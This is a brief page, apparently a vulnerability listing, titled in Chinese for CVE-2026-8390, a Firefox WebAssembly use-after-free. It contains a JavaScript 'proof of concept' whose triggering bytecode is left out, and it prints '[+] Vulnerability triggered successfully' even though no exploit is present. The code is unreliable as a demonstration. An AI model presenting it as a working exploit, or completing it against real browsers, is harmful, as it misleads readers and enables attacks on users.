CVE-2026-8390 Firefox WebAssembly释放后重用漏洞

// PoC for CVE-2026-8390: Use-after-free in WebAssembly // This is a conceptual demonstration. // Malicious WebAssembly bytecode designed to trigger UAF const wasmBuffer = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // WASM magic 0x01, 0x05, 0x01, 0x60, 0x00, 0x00, 0x03, 0x02, 0x01, 0x00, // Type section // ... (Specific bytecode to trigger the vulnerability) ]); async function triggerExploit() { try { // Step 1: Compile the module const module = await WebAssembly.compile(wasmBuffer); // Step 2: Instantiate to trigger the vulnerable path const instance = await WebAssembly.instantiate(module); // Step 3: Call the vulnerable function causing Use-after-free instance.exports.main(); console.log("[+] Vulnerability triggered successfully."); } catch (e) { console.error("[-] Exploit failed:", e); } } triggerExploit();